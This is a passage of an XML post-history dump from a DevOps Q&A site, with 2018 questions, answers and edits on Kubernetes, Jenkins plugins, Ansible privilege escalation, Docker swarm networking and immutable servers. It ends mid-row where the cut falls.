  <row Id="11199" PostHistoryTypeId="5" PostId="3518" RevisionGUID="fe9d6141-5a0d-4b12-97a6-f4162b694fe5" CreationDate="2018-03-08T19:47:36.567" UserId="6839" Comment="spelling and grammar improvements" Text="[The definition of a stateless app](http://whatis.techtarget.com/definition/stateless-app) seems to apply to database servers like MongoDB or MySQL. I found [Helm Charts](https://github.com/kubernetes/charts) as a kind of template-repository for Kubernetes. However, the stable builds all uses deployments. Only in the incubator, which are not provided as stable. &#xD;&#xA;&#xD;&#xA;**What is the impact of using Deployments for DB Servers?**&#xD;&#xA;&#xD;&#xA;Are there any issues like sync/replication issues, when running multiple instances in a cluster, for example? (Background: I want to run MongoDB in a failover-cluster, so at least 2 instances are running)" ContentLicense="CC BY-SA 3.0" />
  <row Id="11200" PostHistoryTypeId="24" PostId="3518" RevisionGUID="fe9d6141-5a0d-4b12-97a6-f4162b694fe5" CreationDate="2018-03-08T19:47:36.567" Comment="Proposed by 6839 approved by 4328, 47 edit id of 638" ContentLicense="CC BY-SA 3.0" />
  <row Id="11201" PostHistoryTypeId="4" PostId="2412" RevisionGUID="6a624465-d365-4313-912b-2cbf937dba64" CreationDate="2018-03-08T19:47:51.153" UserId="6839" Comment="don't put tags in the title" Text="How to replicate a mongodb pod with its persistent storage" ContentLicense="CC BY-SA 3.0" />
  <row Id="11202" PostHistoryTypeId="24" PostId="2412" RevisionGUID="6a624465-d365-4313-912b-2cbf937dba64" CreationDate="2018-03-08T19:47:51.153" Comment="Proposed by 6839 approved by 4328, 47 edit id of 635" ContentLicense="CC BY-SA 3.0" />
  <row Id="11203" PostHistoryTypeId="5" PostId="2501" RevisionGUID="13186a08-4bb0-4f01-b26c-9d3fd29c52b1" CreationDate="2018-03-08T19:48:16.457" UserId="6839" Comment="spelling and grammar improvements" Text="**TL;DR**: the &quot;Canonical&quot; version of Kubernetes has been customized by Canonical, the developers of Ubuntu, based upon their experiences of running Kubernetes.  &quot;Kubernetes Core&quot; on the other hand is the standard, official, distribution you would find on [Kubernetes.io][1].  If you are looking to understand Kubernetes on Ubuntu then I would recommend the Canonical version, if you are wanting a standardised version then go for Kubernetes Core.&#xD;&#xA;&#xD;&#xA;A `Spell` is a function of [Conjure-Up][2] which is a product created by [Canonical][3] to be able to provide &quot;Turn Key&quot; installations of popular Open Source technical stacks such as Kubernetes and Open Stack.  These stacks are typically non-trivial to install, so Conjure Up combines the installation of the software and configuration based upon guided best practice through a GUI and CLI interface.&#xD;&#xA;&#xD;&#xA;&gt; conjure-up lets you summon up a big-software stack as a “spell” — a model of the stack, combined with extra know-how to get you from an installed stack to a fully usable one. Start using your big software instead of learning how to deploy it.&#xD;&#xA;&#xD;&#xA;Conjure Up is capable of deploying to Ubuntu, MacOSX and popular public clouds.&#xD;&#xA;&#xD;&#xA;At the time of writing the following spells are available:&#xD;&#xA;&#xD;&#xA; - `kubernetes`&#xD;&#xA; - `openstack`&#xD;&#xA; - `bigdata` incorporating: Hadoop, Spark and Kafka&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/&#xD;&#xA;  [2]: https://conjure-up.io/&#xD;&#xA;  [3]: https://www.canonical.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11204" PostHistoryTypeId="24" PostId="2501" RevisionGUID="13186a08-4bb0-4f01-b26c-9d3fd29c52b1" CreationDate="2018-03-08T19:48:16.457" Comment="Proposed by 6839 approved by 4328, 47 edit id of 636" ContentLicense="CC BY-SA 3.0" />
  <row Id="11205" PostHistoryTypeId="4" PostId="2206" RevisionGUID="1340cf20-6bba-43cb-b80f-362c10132533" CreationDate="2018-03-08T19:48:25.340" UserId="6839" Comment="don't put tags in the title" Text="Highly available tiller" ContentLicense="CC BY-SA 3.0" />
  <row Id="11206" PostHistoryTypeId="24" PostId="2206" RevisionGUID="1340cf20-6bba-43cb-b80f-362c10132533" CreationDate="2018-03-08T19:48:25.340" Comment="Proposed by 6839 approved by 4328, 47 edit id of 634" ContentLicense="CC BY-SA 3.0" />
  <row Id="11207" PostHistoryTypeId="50" PostId="3253" RevisionGUID="236b1c21-9af3-42fd-941d-a35c36537950" CreationDate="2018-03-08T20:04:09.033" UserId="-1" />
  <row Id="11208" PostHistoryTypeId="2" PostId="3584" RevisionGUID="57de61ef-3595-4dae-b222-2a0b951ce5d5" CreationDate="2018-03-08T20:42:50.060" UserId="3087" Text="Is there a way to remove all the plugins that I have installed manually and keep the plugins that were installed during Jenkins installation? &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11209" PostHistoryTypeId="1" PostId="3584" RevisionGUID="57de61ef-3595-4dae-b222-2a0b951ce5d5" CreationDate="2018-03-08T20:42:50.060" UserId="3087" Text="How to restore default Jenkins plugins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11210" PostHistoryTypeId="3" PostId="3584" RevisionGUID="57de61ef-3595-4dae-b222-2a0b951ce5d5" CreationDate="2018-03-08T20:42:50.060" UserId="3087" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins2&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11211" PostHistoryTypeId="2" PostId="3585" RevisionGUID="5c36a2db-3f43-49ba-a479-c1d71516c40c" CreationDate="2018-03-08T22:03:03.597" UserId="210" Text="Infrastructure as code means that the infrastructure configuration is stored in a version controller system (VCS). If changes will be applied it is traceable who changed the code and when.&#xD;&#xA;&#xD;&#xA;Although it is unclear to me what the aim is of your question, it is possible to use a continuous integration (ci) tool like, Jenkins, gitlab, circleci that pulls the code from git, installs ansible or use an image that contains ansible in order to run a playbook." ContentLicense="CC BY-SA 3.0" />
  <row Id="11212" PostHistoryTypeId="50" PostId="2836" RevisionGUID="5970383a-911c-4c88-aa05-5c625ac8a8b6" CreationDate="2018-03-08T22:06:06.300" UserId="-1" />
  <row Id="11213" PostHistoryTypeId="2" PostId="3586" RevisionGUID="df88c4b4-e1a8-481a-9fce-be4eeda38c77" CreationDate="2018-03-08T22:06:16.700" UserId="210" Text="One could use ansible geerlingguy.jenkins role. When this role is applied, a Jenkins system will be created without any plugins. Subsequently, one could install plugins manually, but also define them in ansible, i.e. infrastructure as code (iac)." ContentLicense="CC BY-SA 3.0" />
  <row Id="11214" PostHistoryTypeId="5" PostId="3586" RevisionGUID="a5a1c51a-6fd8-469a-9cac-81743a50470b" CreationDate="2018-03-08T23:23:10.103" UserId="210" Comment="deleted 13 characters in body" Text="One could use ansible geerlingguy.jenkins role. When this role is applied, a Jenkins system will be created without any plugins. Subsequently, one could install plugins manually, but also define them in ansible, i.e. plugins as code." ContentLicense="CC BY-SA 3.0" />
  <row Id="11215" PostHistoryTypeId="2" PostId="3587" RevisionGUID="c6f6433f-80e2-4046-af48-6409d98c9b66" CreationDate="2018-03-09T00:12:27.337" UserId="47" Text="One possible approach, although a bit tedious (and a bit dumb), would be to:&#xD;&#xA;&#xD;&#xA;- make a fresh Jenkins installation of the exact same version on another (maybe scrappable) machine&#xD;&#xA;- get the list of the (default) plugins it ends up with&#xD;&#xA;- add/remove/update the plugins in the original Jenkins installation to match that list" ContentLicense="CC BY-SA 3.0" />
  <row Id="11216" PostHistoryTypeId="2" PostId="3588" RevisionGUID="ad9bc80a-affa-4892-81d5-b55eb736c31c" CreationDate="2018-03-09T01:21:18.983" UserId="960" Text="I have a server where my user is able to sudo to the root user without a password, and then the root user can sudo to a third user without a password.  However, my user cannot sudo directly to the third user without a password.&#xD;&#xA;&#xD;&#xA;Ansible's [become](https://docs.ansible.com/ansible/latest/become.html) directive uses sudo in the traditional manner, i.e. the one that requires prompting for my password.&#xD;&#xA;&#xD;&#xA;I've tried putting `become_user: root` on a block and `become_user: &lt;other-user&gt;` on a task inside that block, but it appears Ansible overrides the block's definition, rather than nesting the sudo calls as I hoped.&#xD;&#xA;&#xD;&#xA;Note: this question has also been asked [on StackOverflow](https://stackoverflow.com/q/47354108/120999), but since there's no solution I figured I would repost it here, which I think is the better site for it." ContentLicense="CC BY-SA 3.0" />
  <row Id="11217" PostHistoryTypeId="1" PostId="3588" RevisionGUID="ad9bc80a-affa-4892-81d5-b55eb736c31c" CreationDate="2018-03-09T01:21:18.983" UserId="960" Text="How do you simulate &quot;sudo su &lt;user&gt;&quot; in Ansible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11218" PostHistoryTypeId="3" PostId="3588" RevisionGUID="ad9bc80a-affa-4892-81d5-b55eb736c31c" CreationDate="2018-03-09T01:21:18.983" UserId="960" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11220" PostHistoryTypeId="2" PostId="3589" RevisionGUID="8c07d61b-6bb7-433c-b149-db9cce1ae3a7" CreationDate="2018-03-09T09:10:17.993" UserId="707" Text="Given the simplest example, the test swarm consists just of one node so all containers run in one place.&#xD;&#xA;&#xD;&#xA;The stack is setup to run in a custom Docker network.&#xD;&#xA;&#xD;&#xA;Now I have observed the following:&#xD;&#xA;&#xD;&#xA;- On a Windows machine, published ports are available (curl check OK)&#xD;&#xA;- On two Linux machines, (Ubuntu and SLES), identical setup of stack and runner bash script does not make published ports available to the host.&#xD;&#xA;&#xD;&#xA;I consider, the design is that a custom network is not automatically mapped to host network.&#xD;&#xA;&#xD;&#xA;Nevertherless:&#xD;&#xA;- does this mean, Docker on Windows has a bug regarding this aspect?&#xD;&#xA;- what is the simplest way to access a publised port in a custom network from the host? (if just removing the custom network is not an option)&#xD;&#xA;&#xD;&#xA;Side note: my DevOps engineering work is focused on software prototyping and quality assurance; I find for example the [tutorial][1] in the official documentation very well written, nevertheless it makes me feel quite Ops-incompetent. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/swarm/ingress/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11221" PostHistoryTypeId="1" PostId="3589" RevisionGUID="8c07d61b-6bb7-433c-b149-db9cce1ae3a7" CreationDate="2018-03-09T09:10:17.993" UserId="707" Text="Understanding Docker swarm networking and ports accessibility on the host" ContentLicense="CC BY-SA 3.0" />
  <row Id="11222" PostHistoryTypeId="3" PostId="3589" RevisionGUID="8c07d61b-6bb7-433c-b149-db9cce1ae3a7" CreationDate="2018-03-09T09:10:17.993" UserId="707" Text="&lt;docker&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11223" PostHistoryTypeId="5" PostId="3589" RevisionGUID="b2d3cdbd-2cd7-4825-b19f-ff651995bc3e" CreationDate="2018-03-09T09:41:12.527" UserId="707" Comment="deleted 7 characters in body" Text="Given the simplest example, the test swarm consists just of one node so all containers run in one place.&#xD;&#xA;&#xD;&#xA;The stack is setup to run in a custom Docker network.&#xD;&#xA;&#xD;&#xA;Now I have observed the following:&#xD;&#xA;&#xD;&#xA;- On a Windows machine, published ports are available (curl check OK)&#xD;&#xA;- On two Linux machines, (Ubuntu and SLES), identical setup of stack and runner bash script does not make published ports available to the host.&#xD;&#xA;&#xD;&#xA;I consider, the design is that a custom network is not automatically mapped to host network.&#xD;&#xA;&#xD;&#xA;Then:&#xD;&#xA;&#xD;&#xA;- does this mean, Docker on Windows has a bug regarding this aspect?&#xD;&#xA;- what is the simplest way to access a publised port in a custom network from the host? (if just removing the custom network is not an option)&#xD;&#xA;&#xD;&#xA;Side note: my DevOps engineering work is focused on software prototyping and quality assurance; I find for example the [tutorial][1] in the official documentation very well written, nevertheless it makes me feel quite Ops-incompetent. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/swarm/ingress/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11224" PostHistoryTypeId="5" PostId="3589" RevisionGUID="4b628f5d-48ff-4c20-a59e-39853c19e436" CreationDate="2018-03-09T09:52:24.237" UserId="707" Comment="added 119 characters in body" Text="Given the simplest example, the test swarm consists just of one node so all containers run in one place.&#xD;&#xA;&#xD;&#xA;The stack is setup to run in a custom Docker network.&#xD;&#xA;&#xD;&#xA;Now I have observed the following:&#xD;&#xA;&#xD;&#xA;- On a Windows machine, published ports are available (curl check OK)&#xD;&#xA;- On two Linux machines, (Ubuntu and SLES), identical setup of stack and runner bash script does not make published ports available to the host.&#xD;&#xA;&#xD;&#xA;I consider, the design is that a custom network is not automatically mapped to host network.&#xD;&#xA;&#xD;&#xA;Then:&#xD;&#xA;&#xD;&#xA;- does this mean, Docker on Windows has a bug regarding this aspect?&#xD;&#xA;- what is the simplest way to access a publised port in a custom network from the host? (if just removing the custom network is not an option)&#xD;&#xA;&#xD;&#xA;Side note: my DevOps engineering work is focused on software prototyping and quality assurance; I find for example the [tutorial][1] in the official documentation very well written, nevertheless it makes me feel quite Ops-incompetent. &#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;Firewall does not seem to be a problem here: output for `iptables -L` show everywhere `all --anywhere`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/swarm/ingress/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11225" PostHistoryTypeId="5" PostId="3589" RevisionGUID="79917091-0202-4652-8686-fe6be50fc871" CreationDate="2018-03-09T10:03:25.573" UserId="707" Comment="added 216 characters in body" Text="Given the simplest example, the test swarm consists just of one node so all containers run in one place.&#xD;&#xA;&#xD;&#xA;The stack is setup to run in a custom Docker network.&#xD;&#xA;&#xD;&#xA;Now I have observed the following:&#xD;&#xA;&#xD;&#xA;- On a Windows machine, published ports are available (curl check OK)&#xD;&#xA;- On two Linux machines, (Ubuntu and SLES), identical setup of stack and runner bash script does not make published ports available to the host.&#xD;&#xA;&#xD;&#xA;I consider, the design is that a custom network is not automatically mapped to host network.&#xD;&#xA;&#xD;&#xA;Then:&#xD;&#xA;&#xD;&#xA;- does this mean, Docker on Windows has a bug regarding this aspect?&#xD;&#xA;- what is the simplest way to access a publised port in a custom network from the host? (if just removing the custom network is not an option)&#xD;&#xA;&#xD;&#xA;Side note: my DevOps engineering work is focused on software prototyping and quality assurance; I find for example the [tutorial][1] in the official documentation very well written, nevertheless it makes me feel quite Ops-incompetent. &#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;Firewall does not seem to be a problem here: output for `iptables -L` show everywhere `all --anywhere`&#xD;&#xA;&#xD;&#xA;Ingress mode is active (no difference with one host); `docker ps` shows a live container listening on the proper tcp port.&#xD;&#xA;&#xD;&#xA;    `[{&quot;Protocol&quot;:&quot;tcp&quot;,&quot;TargetPort&quot;:1234,&quot;PublishedPort&quot;:1234,&quot;PublishMode&quot;:&quot;ingress&quot;}]' &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/swarm/ingress/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11229" PostHistoryTypeId="5" PostId="3589" RevisionGUID="66e0f9c9-b001-4de4-842a-1734425e309e" CreationDate="2018-03-09T10:40:17.847" UserId="707" Comment="deleted 457 characters in body" Text="Given the simplest example, the test swarm consists just of one node so all containers run in one place.&#xD;&#xA;&#xD;&#xA;The stack is setup to run in a custom Docker network; the containers are not directly mapped to the host (if I do not want this explicitely) but the [mesh network][1] should take care.&#xD;&#xA;&#xD;&#xA;Now I have observed the following:&#xD;&#xA;&#xD;&#xA;- On a Windows machine, published ports are available (curl check OK)&#xD;&#xA;- On a Linux machines with Ubuntu it works&#xD;&#xA;- On a SLES machine it does not work&#xD;&#xA;&#xD;&#xA;I consider, the design is that a custom network is not automatically mapped to host network. &#xD;&#xA;&#xD;&#xA;What could be the problem with the SLES system? How to debug it?&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;Firewall does not seem to be a problem here: output for `iptables -L` show everywhere `all --anywhere`&#xD;&#xA;&#xD;&#xA;Ingress mode is active (no difference with one host); `docker ps` shows a live container listening on the proper tcp port.&#xD;&#xA;&#xD;&#xA;    `[{&quot;Protocol&quot;:&quot;tcp&quot;,&quot;TargetPort&quot;:1234,&quot;PublishedPort&quot;:1234,&quot;PublishMode&quot;:&quot;ingress&quot;}]' &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/swarm/ingress/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11232" PostHistoryTypeId="5" PostId="3589" RevisionGUID="6aeb230d-d7f0-4323-82d5-f137c7f7ecc6" CreationDate="2018-03-09T11:44:45.263" UserId="707" Comment="added 1 character in body" Text="Given the simplest example, the test swarm consists just of one node so all containers run in one place.&#xD;&#xA;&#xD;&#xA;The stack is setup to run in a custom Docker network; the containers are not directly mapped to the host (if I do not want this explicitely) but the [mesh network][1] should take care.&#xD;&#xA;&#xD;&#xA;Now I have observed the following:&#xD;&#xA;&#xD;&#xA;- On a Windows machine, published ports are available (curl check OK)&#xD;&#xA;- On a Linux machines with Ubuntu it works&#xD;&#xA;- On a SLES machine it does not work&#xD;&#xA;&#xD;&#xA;I consider, the design is that a custom network is not automatically mapped to host network. &#xD;&#xA;&#xD;&#xA;What could be the problem with the SLES system? How to debug it?&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;Firewall does not seem to be a problem here: output for `iptables -L` shows everywhere `all --anywhere`&#xD;&#xA;&#xD;&#xA;Ingress mode is active (no difference with one host); `docker ps` shows a live container listening on the proper tcp port.&#xD;&#xA;&#xD;&#xA;    `[{&quot;Protocol&quot;:&quot;tcp&quot;,&quot;TargetPort&quot;:1234,&quot;PublishedPort&quot;:1234,&quot;PublishMode&quot;:&quot;ingress&quot;}]' &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/swarm/ingress/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11234" PostHistoryTypeId="2" PostId="3591" RevisionGUID="52c6fad1-da33-44e1-8b3e-7591b7c98a40" CreationDate="2018-03-09T12:45:13.127" UserId="6824" Text="So once an Immutable Server is in place, nothing should change at all. Or is it only configuration.&#xD;&#xA;&#xD;&#xA;Are source code updates acceptable on Immutable Servers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11235" PostHistoryTypeId="1" PostId="3591" RevisionGUID="52c6fad1-da33-44e1-8b3e-7591b7c98a40" CreationDate="2018-03-09T12:45:13.127" UserId="6824" Text="Does Immutable Servers imply no source code updates on the servers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11236" PostHistoryTypeId="3" PostId="3591" RevisionGUID="52c6fad1-da33-44e1-8b3e-7591b7c98a40" CreationDate="2018-03-09T12:45:13.127" UserId="6824" Text="&lt;continuous-integration&gt;&lt;continuous-delivery&gt;&lt;continuous-deployment&gt;&lt;immutable-servers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11237" PostHistoryTypeId="2" PostId="3592" RevisionGUID="e28a4d81-dd2e-48d6-ac2d-2f6098d31be5" CreationDate="2018-03-09T13:16:31.837" UserId="13" Text="No.&#xD;&#xA;&#xD;&#xA;Immutable is exactly what it means, immutable, no change on configuration or code running or system library or whatever, if a change has to be made, create a new image and deploy it, never change it while running.&#xD;&#xA;&#xD;&#xA;Source code updates are the least thing to change on a running server, this should not happen on a running server, immutable or not. &#xD;&#xA;&#xD;&#xA;You should create a versioned release of your code to deploy on servers, once you have this level of fixed versioning you can step ahead to versioning your server image which include this code release.&#xD;&#xA;&#xD;&#xA;Any change, being a code patch or a system patch or a configuration change should trigger a new release to be deployed." ContentLicense="CC BY-SA 3.0" />
  <row Id="11238" PostHistoryTypeId="33" PostId="3514" RevisionGUID="f5f24ba6-8127-4189-aae8-901b2632bd4a" CreationDate="2018-03-09T13:30:46.867" UserId="6743" Comment="16" />
  <row Id="11241" PostHistoryTypeId="5" PostId="3582" RevisionGUID="1c7d3936-53a8-4808-8720-5d8c689a8a88" CreationDate="2018-03-09T14:21:19.727" UserId="4578" Comment="markdown format" Text="I would like to use the expect module in an ansible playbook to telnet through a termserver to reach a NetApp filer. I tried the telnet module, but using the port argument after the ip address doesn't seem to work.&#xD;&#xA;Manually I would type the following:&#xD;&#xA;&#xD;&#xA;    [sansible@scspr0415857001 ansible]$ telnet 10.233.82.7 2033  &#xD;&#xA;    Trying 10.233.82.7...  &#xD;&#xA;    Connected to 10.233.82.7.  &#xD;&#xA;    Escape character is '^]'.  &#xD;&#xA;    Connected to port 33.  &#xD;&#xA;    &#xD;&#xA;    login: admin  &#xD;&#xA;    Password:  &#xD;&#xA;    &#xD;&#xA;    rtpsb-f6280-02a-1::&gt; &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;~~~~~~~~~~~~~~~~~~~&#xD;&#xA;&#xD;&#xA;I think my issue is that the playbook is getting caught up on simulating a return keystroke after &quot;Connected to port 33.&quot;  &#xD;&#xA;&#xD;&#xA;I've also tried using echo -ne '\n'  &#xD;&#xA;&#xD;&#xA;Playbook:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      connection: local&#xD;&#xA;      gather_facts: false&#xD;&#xA;    &#xD;&#xA;      tasks:  &#xD;&#xA;        - name: Expect Attempt  &#xD;&#xA;          expect:  &#xD;&#xA;            echo: yes  &#xD;&#xA;            command: telnet 10.233.82.7 2033  &#xD;&#xA;            responses:  &#xD;&#xA;              Question:  &#xD;&#xA;                - Connected to port* &quot;echo&quot;  &#xD;&#xA;                - login: &quot;admin&quot;  &#xD;&#xA;                - Password: &quot;password&quot; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The full traceback is:  &#xD;&#xA;&#xD;&#xA;      File &quot;/tmp/ansible_piMb3N/ansible_module_expect.py&quot;, line 190, in main  &#xD;&#xA;        encoding='utf-8')  &#xD;&#xA;    &#xD;&#xA;    fatal: [localhost]: FAILED! =&gt; {  &#xD;&#xA;        &quot;changed&quot;: true,  &#xD;&#xA;        &quot;cmd&quot;: &quot;telnet 10.233.82.7 2033&quot;,  &#xD;&#xA;        &quot;delta&quot;: &quot;0:00:30.122472&quot;,  &#xD;&#xA;        &quot;end&quot;: &quot;2018-03-08 13:08:12.487220&quot;,  &#xD;&#xA;        &quot;invocation&quot;: {  &#xD;&#xA;            &quot;module_args&quot;: {  &#xD;&#xA;                &quot;chdir&quot;: null,  &#xD;&#xA;                &quot;command&quot;: &quot;telnet 10.233.82.7 2033&quot;,  &#xD;&#xA;                &quot;creates&quot;: null,  &#xD;&#xA;                &quot;echo&quot;: true,  &#xD;&#xA;                &quot;removes&quot;: null,  &#xD;&#xA;                &quot;responses&quot;: {  &#xD;&#xA;                    &quot;Question&quot;: [  &#xD;&#xA;                        &quot;Connected to port* \&quot;echo\&quot;&quot;,  &#xD;&#xA;                        {  &#xD;&#xA;                            &quot;login&quot;: &quot;admin&quot;  &#xD;&#xA;                        },  &#xD;&#xA;                        {  &#xD;&#xA;                            &quot;Password&quot;: &quot;password&quot;  &#xD;&#xA;                        }  &#xD;&#xA;                    ]  &#xD;&#xA;                },  &#xD;&#xA;                &quot;timeout&quot;: 30  &#xD;&#xA;            }  &#xD;&#xA;        },  &#xD;&#xA;        &quot;msg&quot;: &quot;non-zero return code&quot;,  &#xD;&#xA;        &quot;rc&quot;: 1,  &#xD;&#xA;        &quot;start&quot;: &quot;2018-03-08 13:07:42.364748&quot;,  &#xD;&#xA;        &quot;stdout&quot;: &quot;Trying 10.233.82.7...\r\r\nConnected to 10.233.82.7.\r\r\nEscape   character is '^]'.\r\r\nConnected to port 33. &quot;,  &#xD;&#xA;        &quot;stdout_lines&quot;: [  &#xD;&#xA;            &quot;Trying 10.233.82.7...&quot;,  &#xD;&#xA;            &quot;&quot;,  &#xD;&#xA;            &quot;Connected to 10.233.82.7.&quot;,  &#xD;&#xA;            &quot;&quot;,  &#xD;&#xA;            &quot;Escape character is '^]'.&quot;,  &#xD;&#xA;            &quot;&quot;,  &#xD;&#xA;            &quot;Connected to port 33. &quot;  &#xD;&#xA;        ]  &#xD;&#xA;    }  &#xD;&#xA;            to retry, use: --limit @/home/sansible/ansible/expect-r1.retry  &#xD;&#xA;    &#xD;&#xA;    PLAY RECAP   *********************************************************************************************************************&#xD;&#xA;    localhost                  : ok=0    changed=0    unreachable=0    failed=1  &#xD;&#xA;&#xD;&#xA;Any help would be greatly appreciated!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11242" PostHistoryTypeId="24" PostId="3582" RevisionGUID="1c7d3936-53a8-4808-8720-5d8c689a8a88" CreationDate="2018-03-09T14:21:19.727" Comment="Proposed by 4578 approved by 40, 4328 edit id of 640" ContentLicense="CC BY-SA 3.0" />
  <row Id="11243" PostHistoryTypeId="5" PostId="3589" RevisionGUID="f6fa4382-6b3f-4cf2-9cf5-1d1c99c72f8a" CreationDate="2018-03-09T15:07:50.153" UserId="707" Comment="added 287 characters in body" Text="Given the simplest example, the test swarm consists just of one node so all containers run in one place.&#xD;&#xA;&#xD;&#xA;The stack is setup to run in a custom Docker network; the containers are not directly mapped to the host (if I do not want this explicitely) but the [mesh network][1] should take care.&#xD;&#xA;&#xD;&#xA;Now I have observed the following:&#xD;&#xA;&#xD;&#xA;- On a Windows machine, published ports are available (curl check OK)&#xD;&#xA;- On a Linux machines with Ubuntu it works&#xD;&#xA;- On a SLES machine it does not work&#xD;&#xA;&#xD;&#xA;I consider, the design is that a custom network is not automatically mapped to host network. &#xD;&#xA;&#xD;&#xA;What could be the problem with the SLES system? How to debug it?&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;Firewall does not seem to be a problem here: output for `iptables -L` shows everywhere `all --anywhere`&#xD;&#xA;&#xD;&#xA;Ingress mode is active (no difference with one host); `docker ps` shows a live container listening on the proper tcp port.&#xD;&#xA;&#xD;&#xA;    `[{&quot;Protocol&quot;:&quot;tcp&quot;,&quot;TargetPort&quot;:1234,&quot;PublishedPort&quot;:1234,&quot;PublishMode&quot;:&quot;ingress&quot;}]' &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**How it works:**&#xD;&#xA;&#xD;&#xA;    curl -d http://localhost:port/api ..&#xD;&#xA;    nmap localhost -p&#xD;&#xA;    -&gt; meaningful output &#xD;&#xA;&#xD;&#xA;**How it does not work:**&#xD;&#xA;&#xD;&#xA;    # same commands as above give the output:&#xD;&#xA;    curl: (7) Failed to connect to localhost port ...&#xD;&#xA;    nmap: 1234/tcp closed unknown&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/swarm/ingress/&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11244" PostHistoryTypeId="2" PostId="3593" RevisionGUID="79a0de76-5040-4730-b821-019897be72fe" CreationDate="2018-03-09T16:11:43.440" UserId="6578" Text="'Suitable' can honestly be whatever works for you. I personally feel its perfectly reasonable to do a manual install of Chef server. It is the CM tool to help provision the rest of your fleet. You will not be setting up Chef server over and over again. You do it once, and then never again, in _theory_.&#xD;&#xA;&#xD;&#xA;That theory breaks down however, in respect to server outages. Eventually, one day, your Chef server _will_ go down. If you are running Chef in HA mode, or you have a very good backup system that allows you to restore the entire server, then you are fine. I don't know what it is for Azure, but with Amazon, you can take nightly snapshots of the entire server and simply restore from the AMI if the server ever goes &quot;hard down&quot;.&#xD;&#xA;&#xD;&#xA;Let's pretend that you don't run Chef in HA, or you aren't very confident in your backup system, or you just want to tinker... my recommendation would be to leverage Terraform w/provisioner scripts, or Packer with Terraform.&#xD;&#xA;&#xD;&#xA;You can get the basics of Chef server setup with some simple commands that only need to be run once. This is perfect for Terraform and it's provisioner scripts. Obviously, it runs the provisioner scripts only once (during server creation) and that's all you need for Chef. If something happens to your Chef server, Terraform can rebuild it from scratch. Although, you'll have to re-key your local client and tie all your instances to the new Chef server. This is a huge headache and I would not recommend ever doing that if you can avoid it. :P" ContentLicense="CC BY-SA 3.0" />
  <row Id="11245" PostHistoryTypeId="5" PostId="3589" RevisionGUID="629b1130-5d0c-4ca1-8d93-db1fb758c7d5" CreationDate="2018-03-09T16:20:53.463" UserId="707" Comment="added 140 characters in body" Text="Given the simplest example, the test swarm consists just of one node so all containers run in one place.&#xD;&#xA;&#xD;&#xA;The stack is setup to run in a custom Docker network; the containers are not directly mapped to the host (if I do not want this explicitely) but the [mesh network][1] should take care.&#xD;&#xA;&#xD;&#xA;Now I have observed the following:&#xD;&#xA;&#xD;&#xA;- On a Windows machine, published ports are available (curl check OK)&#xD;&#xA;- On a Linux machines with Ubuntu it works&#xD;&#xA;- On a SLES machine it does not work&#xD;&#xA;&#xD;&#xA;I consider, the design is that a custom network is not automatically mapped to host network. &#xD;&#xA;&#xD;&#xA;What could be the problem with the SLES system? How to debug it?&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;Firewall does not seem to be a problem here: output for `iptables -L` shows everywhere `all --anywhere`&#xD;&#xA;&#xD;&#xA;Ingress mode is active (no difference with one host); `docker ps` shows a live container listening on the proper tcp port.&#xD;&#xA;&#xD;&#xA;    `[{&quot;Protocol&quot;:&quot;tcp&quot;,&quot;TargetPort&quot;:1234,&quot;PublishedPort&quot;:1234,&quot;PublishMode&quot;:&quot;ingress&quot;}]' &#xD;&#xA;&#xD;&#xA;I have tried as hostname: localhost, actual hostname, 127.0.0.2, host's IP. All tests in the host console. Also checks from outside.&#xD;&#xA;&#xD;&#xA;====&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**How it works:**&#xD;&#xA;&#xD;&#xA;    curl -d http://localhost:port/api ..&#xD;&#xA;    nmap localhost -p&#xD;&#xA;    -&gt; meaningful output 